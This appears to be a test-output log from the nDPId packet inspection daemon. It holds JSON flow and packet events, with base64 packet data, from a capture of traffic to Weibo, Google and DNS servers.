+00435{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":613246,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA84VFAAEAGsxPAqAFpXbyGicnyAFB0WekZAAAAAKACchD\/WQAAAgQFtAQCCAoAQQhIAAAAAAEDAwc="} +00436{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":642417,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGnGVdvIaJwKgBaQBQyfKlqmMtdFnpGqAS\/\/8RHAAAAgQFqAQCCAr5u121AEEISAEDAwc="} +00422{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":642473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA04VJAAEAGsxrAqAFpXbyGicnyAFB0WekapapjLoAQAOU+7wAAAQEICgBBCFD5u121"} +01026{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":642772,"pkt_caplen":516,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":516,"pkt_l4_len":482,"pkt":"kDVu60UQeJKcD6iOCABFAAH24VNAAEAGsVfAqAFpXbyGicnyAFB0WekapapjLoAYAOW9fgAAAQEICgBBCFD5u121R0VUIC9sb2dpbi5waHA\/bGFuZz1lbi11cyBIVFRQLzEuMQ0KSG9zdDogd3d3LndlaWJvLmNvbQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLCovKjtxPTAuOA0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTAuMC4yNjYxLjEwMiBTYWZhcmkvNTM3LjM2DQpSZWZlcmVyOiBodHRwczovL3d3dy5nb29nbGUuaXQvDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUsIHNkY2gNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjgsaXQtSVQ7cT0wLjYsaXQ7cT0wLjQscnU7cT0wLjINCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"weibo.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1463089071613,"flow_last_seen":1463089071642,"flow_tot_l4_data_len":594,"flow_min_l4_data_len":32,"flow_max_l4_data_len":482,"flow_avg_l4_data_len":148,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.137","src_port":51698,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"www.weibo.com","url":"www.weibo.com\/login.php?lang=en-us","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00422{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":670625,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0PuBAADgGXY1dvIaJwKgBaQBQyfKlqmMudFnq3IAQAqQ7UwAAAQEICvm7XdAAQQhQ"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":48,"source":"weibo.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1463089071730,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.212.69","src_port":37802,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":730101,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA08m9AAEAG2cLAqAFp2DrURZOqAbsjKGR2xs8noYAQA+RthAAAAQEICgBBCGYlk10U"} +00422{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":755114,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0StsAADYGy1fYOtRFwKgBaQG7k6rGzyehIyhkd4AQAsDqzAAAAQEICiWUDPAAQNxk"} +00405{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":891757,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iOkDVu60UQCABFAAAoBcoAACkGBs1yhlCiwKgBaQBQ5u8JOZP1vUUD0lAQAHvkmQAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"weibo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1463089071994,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"54.225.163.210","src_port":40440,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":994093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA06TdAAEAGtMfAqAFpNuGj0p34AbsDr1KJWj28A4AQAWjCCQAAAQEICgBBCKgBIwBO"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"weibo.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1463089072046,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.212.65","src_port":34699,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":46092,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0dEpAAEAGV+zAqAFp2DrUQYeLAbv4qaw1BowayYAQAO03NAAAAQEICgBBCLUlGFKF"} +00421{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":70732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0NhEAADYG4CXYOtRBwKgBaQG7h4sGjBrJ+KmsNoAQAV6y1gAAAQEICiUZAmMAQNzC"} +00430{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":125117,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"eJKcD6iOkDVu60UQCABFAAA5PuJAADgGXYZdvIaJwKgBaQBQyfKlqmYfdFnq3IAYAqRjYwAAAQEICvm7X4IAQQhQZjJjDQo="} +00438{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":125181,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"kDVu60UQeJKcD6iOCABFAABA4VRAAEAGswzAqAFpXbyGicnyAFB0WercpapjLrAQAOXu6QAAAQEICgBBCMj5u13QAQEFCqWqZh+lqmYk"} +02385{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":125228,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"eJKcD6iOkDVu60UQCABFAAXQPuNAADgGV+5dvIaJwKgBaQBQyfKlqmYkdFnq3IAQAqRmUQAAAQEICvm7X4IAQQhQH4sIAAAAAAAAANxb+5McRR3\/OVTxPzSjuUvK7Pt287jbi1wSqCiCJihUWdRUz0zvbnPzYrrn9laKqgQEE40GH4hiVCI+UJBEfBBCEv4Xvd27\/JR\/wW93z87O7M7s7V6CWqaOnZl+96e\/j8+3u1l5xPJM3vMJ6nDHXn34oZX4SbAlng7hGJkdHDDCm1rIW4UjWpze4dwvkBdCutHUni18\/dHCCc\/xMaeGTTRkei4nLlQ6fapJrDY5ZHYCzyHNyqi+i+Fb26Ck63sBT1ShLuUU2wVmYhtqHHIgwQmd4beGSqOxDevcfevy4M1\/wG\/\/yvX+5R9u\/+D64KfX7354Zevm9+7dOt+\/80H\/+2\/1b\/x+6\/bbg\/ff2fn75a0bP91+49LWje8OrsH7ua0bf9r+8E7\/9h+3f\/X+3Tf\/du\/Wpa2br+384Z04t\/\/xG\/3XfzB441Vo8F\/nXu5feG3r5nuitVf+unP13Z07d7bf+jbU2vngj\/1X31WN333l9s4rt\/uvv9+\/cB1KQoH+p6\/037kO49GiyVuEmQH1OfXcaFY2dddRQOym5mC2XqCmyGH0W4Q1Nez2NNQJSKupCeyPlUrUaRd5kVEXP8+KplvijRLjPZtABm4TVsK+Dx9dowUwFdlGW4Bse0FTM2xsrk90yTqwEGbIkepWiAashmiqtBkNRXVfauEN8V2En6gVNZGoDiebvPQ83sAqVaw5D3ovgriFDixXkWwSE6TFwa51QFuDobQDL3St06KrE9jsEO0QamGbkUOIByE5uPySibnZOUAOvvgS9FVSza4ieOeU22T1GUINr3CSMtPbIAFySRfxDnXbDAFonDrQELx0OyQgKyVVZTjz2QA1GSs5nhXCq4EZKbUCWMAipB6H\/hisX7NarjTK9UqtXK8d1pI4QCEtwlc0xTqECGlPa1ViKeYekOk5BhQQUiTfddtrU\/cBDm72oa1Tt2SRFg5tLj\/uZxDUgm9oQ5eJAiE0g5xt4AB9\/sRTTz52+nHURC++tPzwQ9HnNxcpk8gsPgc5i+XFZFY0RpWVHGiqlJCkk7TVksUOCCk7iTk5cBAVUGWpUSsfOVo+XCmXyweTlWzstlW7xC2ELNXg8+yrmHdUbgQrgJlCtV5K1QCsJqpMrMRYHcifuw4jAWAiJiyrjaaXmppnSrFbfK65qKBdRolsg7Z96hORK7V5LNd\/uqcyM6o6XxpN85sjaF50X5oY9SFUOYSqzyXH5ZxgGdVhyjPWD4hFA2JyhVhaUKglhixHGxsi8Rr5THg1PKsnkiy6gUwbMzDda7oPpg2dVY81paGaLL4vWe6ZNV14OwPyRe6+vEy9Zaj8ffInVUp3Pdk8it90aRUr6An5YZmeRVRtFP1L1w9IWxezAUPapRbv6N0A+9pqZidiJh7klSAz+s1veFjHwWryo3LjJVU56ra8xBAgm+CgRTfH66Zr26TFDW8Tpt+yJ0umy4LH6+ogF+BjQwsXQswD8EZNbZ30mlwC3RWeRQ6ntrCB7ZA0fWryMAAEV3DaIHax3zVMm5rrRcczqE2koAkx803ZgniqfDvEx32PgYmD33rVrNRapH6EtMzGArbCwG6KJvfX8P5qC\/44tAGPM49ScvbLJxdM6jehGFTGll4\/XKuYVVy1ymbDBKuKg7Yw3Dp4eHcdxgiTQyww40GGlaJQ\/fEBhgaMq9SCNKbIQ6lRLW\/WymWBTr1Rr1n1w2bDwka16LttYYxXSjha8LGlmBACmfpIoYBKw6UhroUKhemrKABbGy6jdAa+HclFywucyZXdJ\/pINqHcI9QBrMSYXZD7gnIcY1nRRLLGlNItz8cm5T0tQ9LVv4cfQrv8k0Bs\/\/yTuz9\/bfDu1f4v38zqNBMMnXUpkKAskR4vLxQnUuG84ukKHBtTtCtRZyjyI6d7bMOj1gFweSk="} +00438{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":125248,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"kDVu60UQeJKcD6iOCABFAABA4VVAAEAGswvAqAFpXbyGicnyAFB0WercpapjLrAQAPvpNwAAAQEICgBBCMj5u13QAQEFCqWqZh+lqmvA"} +02377{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":138435,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"eJKcD6iOkDVu60UQCABFAAXQPuRAADgGV+1dvIaJwKgBaQBQyfKlqmvAdFnq3IAQAqSthQAAAQEICvm7X4IAQQhQgF8IhJXRoV0NqmFTeIkoS03jaZETpVuYYxiDyFX1oM7s+hh1pUzqcEJmCDNfYT52R0ZFMFYwbmZuhs43gUOcIUCigKZaYN6h2HhhHARgMwwvQIl3XfRGh4XO6swnsq2VEl0dNqMe\/Q8uQoQAAtC\/\/YZQoQeAtQvqgO0I69mhVtXmsXxeANqCg94Q69X+jdf7lz\/afTJ56pJQiVhghP3ShV1G\/R9dGkvuUIug7Zc\/7n\/nE4j2tn9xY+vmj\/oXvjP4\/m\/ytGguIB3CGJi+uZGM6sXClxr0cAp+x3OhyGouTlNAUtZTT6i1MKFyyvnlt25e2v7kb9tvn1frM\/jJx9sXL6C7V84N\/vLy4PLrg6sXvnL6ydNrTzz1+JlTXytUa5XGYfRFHHIIAlEPu2AXK3mgZjnraJobVTSRoncE\/8iyD9KSo2kWTa3c58awFTYqa6lnGWhk9GFcSZ19Jk4H1jpU3KlSG3tWbHghPyYdLsiTjFYgtKfMt3HvmAurvtwhtN3hxyr1sr+5LAlN9K7BNCZRgVYh0pZ1mhoU1BQJit6xDalTzLo\/nBLQTTBCFW1159pHg4s\/7t86F+2DfPCbwYWPtt+79s9zVwYX39u6cQ5+\/3nulyslfw+wGu2xhQUJtf18FynrT8ub9Lf6WB\/MxIJEsvVMtHfpOtF8QBgEqhB5Mp2AJQ8mO4mSM3vJXYBJ54IiD2PJ9ta0oTOYxTWL0QnF11ZPicqIuuDboKl7ty5NN2wp+xWAVMGEhHcT+2juiL3d3wolIGShaU4iKFKJiO8fEIiivb0CeFaNZc\/zllY4mnEOhZ3sXhptmzIBUhseipJlDXoqBlKXwWLtfPqzwYdXB1cuKl2+d+vXQ36Bx8n\/WHQi3HkRqE2J0bYb+tGj6Hd8BNDAB\/q6j570uo8oDzXD+KY4rCgrk9gKGGPmADx4Fgb8TJL6Z5AflT6HiI0HC6Nl8kFXZOQZE+Jkf5Ar9m6B9G1OtT5zykbISCDaTfU1TFSdzSTs1PVDrqJl0Br50fLMkE0l9bKcDLEkyGocox02LaGHoqSGHLxpE7ctXVL1CJiakHsgWb5NONTxWq0RfYpoEjTTPAVxv136iicPCFLWSWTrpuf3hhvjU+EQUa5BXYtsQvdq53R+2jmrgUvIBXx3gQKnxSFKlEs05wrNsCbpTqYuRHUpex0Uddd2Q3zq7JKIV6dI4pjNIi5YO91nXW31q1FLu9nt+zHNO3d+3H\/1d3f\/dGnn2nmgvfOaZ6CotNVLaP2YdiNJ5VL4qCqSs01ff4yQ58qtH+GPeBi46nxjWZvZgxvc1c0OdiE+GXWbGk1OidgNtsB1dcR+SoCG3uSELD41dMszLtmba3G1pPzuakQamaIbSW68oJlG5QT2ITDD+eIdy3903piNXTJ5JOu1aVZ3enSA450IaDPaxNqLDKgdvCH\/L5dHgcFSeW4JScir3OTTJgIYLT8+RWJ7a2+cKVMzp1QAbrP9izvzKjAwHN0K3XwNlv45hQdzd1PefaldXgZEagP6KI7YVEDE8TXQE0Fyx7Rx2H5ATBUBx\/t5MNyUIp6RrSCR8Z\/Rxkgt+t99d3DufP\/aa1K\/Mny2MOHoG4WzBKIOCMWQkqk8ZRvX8UjnFAxZ0Ce1bWkGm\/AZOHspoXuTODFARUxn2D1NxSRChaUEJI4RMvU\/NhniYDOmZ834KB0I\/ymbiNe13mnrwGJcZPFgUa7xchfg9bpFzyfugcWhELNoPROCTIFDtz1eils4Do0GvaYssTDqevEL8fvY\/pkQ+ZgQxTIv9xeVSE3bXJTTFDweZuR3R1xnqCGPydHFLGy3ABbwtrFBbNQS9x1GwYPO8AZhHHOSkNaWLTatRHGQR3E7oKmd9NxFjswOMdcRbYnbBAzBH0bqqAQJuQxBN4pjWjO8kTJ\/fYU="} +00439{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":138492,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"kDVu60UQeJKcD6iOCABFAABA4VZAAEAGswrAqAFpXbyGicnyAFB0WercpapjLrAQARHjgQAAAQEICgBBCMz5u13QAQEFCqWqZh+lqnFc"} +00427{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":138520,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"eJKcD6iOkDVu60UQCABFAAA2PuZAADgGXYVdvIaJwKgBaQBQyfKlqnVQdFnq3IAYAqQaawAAAQEICvm7X4IAQQhQDQo="} +00451{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":138540,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kDVu60UQeJKcD6iOCABFAABI4VdAAEAGswHAqAFpXbyGicnyAFB0WercpapjLtAQARGNeQAAAQEICgBBCMz5u13QAQEFEqWqdVClqnVSpapmH6WqcVw="} +01801{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":138559,"pkt_caplen":1078,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1078,"pkt_l4_len":1044,"pkt":"eJKcD6iOkDVu60UQCABFAAQoPuVAADgGWZRdvIaJwKgBaQBQyfKlqnFcdFnq3IAYAqQqogAAAQEICvm7X4IAQQhQIXB17jlPU7GDktRa2ZKMA2KePjkfUYZYUWGS5nKJciOVqydAiHtYzQw8zwghM8AYOCTe0ZaQPTCCrSYFQjSVSOXpSmImQg4xEr9LZX8zw0uy0HAoT8Mjk9a4O6fAiig6iWhjCN9E22cF+CwKtU+7MYh51j4fwF2j6+1f\/3nr06sPILoe7ojPH15nh1Cd6Zs+2WESSp\/ciYPL6XR7XvqZF8PCLE3S8WyLgAkZXPze4MpNsWnx9nlxP+yTVwc\/uTa4dL7\/2z+IszyZO8E2RyFrbvQ1PjWRpJu2OJQLwmlgPdDg1mHt06k9jz1QkPT+qZjwhrwd8gAWKxe+PMaiuEWaTkRrkywwJfYdjR9Yx32EARnnRYy4FnMm6SKk6cluJ+3WWIEpvCFlDI3YGEZU8XESxbtUXeCRcKCpzBOj6cPVwSxgubWTybr3OFQUpcatr64QJ2VbYRDilhIQqUZ5pUScVSAehG4QBKTs2WcREB0P0N7dzGbLZr7kfzYccMjP1BU+dT3Dc8QVDUGLoF5R3NFNMrMZGNj4vvD\/KiOr\/L9Rssr\/JCdDuYH8fdCyXPK1BzaVTctyWVwuI\/wvM7FcgrXbtoTHO\/kXd3Y\/W8pco0z5edJDciUAW9MLXX58dJY069nRcXG9tSlvtt6noRlNIXEYtZdFyRNvhOZJnQd9uWCzO4HkUoBtU45uuCZPibYYunfrrTnOOBMDUCNSG46RoKkbB0fkhYOpPEzeakegRZ5tU1hWzQX3IhMNMPCCBYuE+DrhyFFx7BlYSYhDHLBIUfrz0lu1As9pdo0WZnxBDSn6APfhRVcdH91ffQz+YkmDdwz\/CaMID9na\/tpj0u\/tr51U\/e2vNhi14LNKzMNLlaOVOq6aplVptGpHjlRq1aONem3JKFfkpQnb6\/IAuwBpQFyzF9HrNESo0gCMoh3W4ZfwoS2ofQx1qGURdxk+MOSKy4zLDkg8dQtBVEFAHCVxzz+GChWJ+UpJQbuaC\/3k4e0YIRBeVmwRJjZs5KIzyokAqaRu7tBvDbdthleFF0SJ5gsvjK7G+fLSrjpOF+lzXACTYgZ1pu4S7zYduf0UsE4xnlPlyFFBcZ56FOYwmkgRM3\/zOBgHmJAOLrZWr9WX6uWyuJ1fPlyuLAQEqruM6NJsCgq7MLy5rYcBTUtWZOKKSQljhEcyxlwGbyaIiQEoLEin3OTEFncBZ7ZjCh5Osduj2XBHefcFn5AGsZmHfVqsNcoCOE9gVk2IwAg0UISjVsXAhmGY9TJeqparFUKO1g+bS0aDNGozgQg9TsAHa8hLEXSlEXAQlpGmgRk1FyL\/1oz+h5AIVBgydCBxawp+m4fuvwUAAAD\/\/w=="} +00439{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":138569,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"kDVu60UQeJKcD6iOCABFAABA4VhAAEAGswjAqAFpXbyGicnyAFB0WercpapjLrAQASHfewAAAQEICgBBCMz5u13QAQEFCqWqZh+lqnVS"} +00422{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":138578,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0XohAABsGZHc24aPSwKgBaQG7nfhaPbwDA69SioAQAIjCywAAAQEICgEjLGEAQNyy"} +00631{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":218677,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"kDVu60UQeJKcD6iOCABFAADIMHRAAEARnIHAqAFp2DrS49GYAbsAtDaTDLva88\/LUhUgKY+xs7iw1orb+tz+ka2qzr+koIZvGx7rYDrJ\/f4nIFHp7KM+XDOVT1fclkN+Zp\/5AMzmN\/fI22iaVxZ2wbCTl2vpMzdsvLIl83sNvYI5OEEIczI7gAwFedn01M9rq6EccbITTNm\/9KsOndQbng2W\/c9Bdl7Gljb29KN8um0bfsJkmyoG7BO106c4KGdE5pfHR4Jnrg5AA8c112H29gMhWJXEGQ=="} +00427{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":218733,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"kDVu60UQeJKcD6iOCABFAAA1MHVAAEARnRPAqAFp2DrS49GYAbsAIZe6DLva88\/LUhUgKtrdfYOrYAZFD+Sy5gLiLg=="} +00439{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":304855,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"eJKcD6iOkDVu60UQCABFAAA\/6AMAADYRL3vYOtLjwKgBaQG70ZgAK+PGACavMB4N4yIzGWdh1rywnHHD9GKrlEvcs81E5Fg8mOE1i4w="} +00484{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":331449,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"eJKcD6iOkDVu60UQCABFAABc6BsAADYRL0bYOtLjwKgBaQG70ZgASC1QACePx5VdQS6UanRpiyRb1SqZ2LsHNLKT3NzM\/1qa6Zqxx+hvKc+dxBqAnZG\/ow4Wk7CxE52Q+sn1tchPYliq\/w=="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":107,"source":"weibo.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1463089072333,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":53543,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 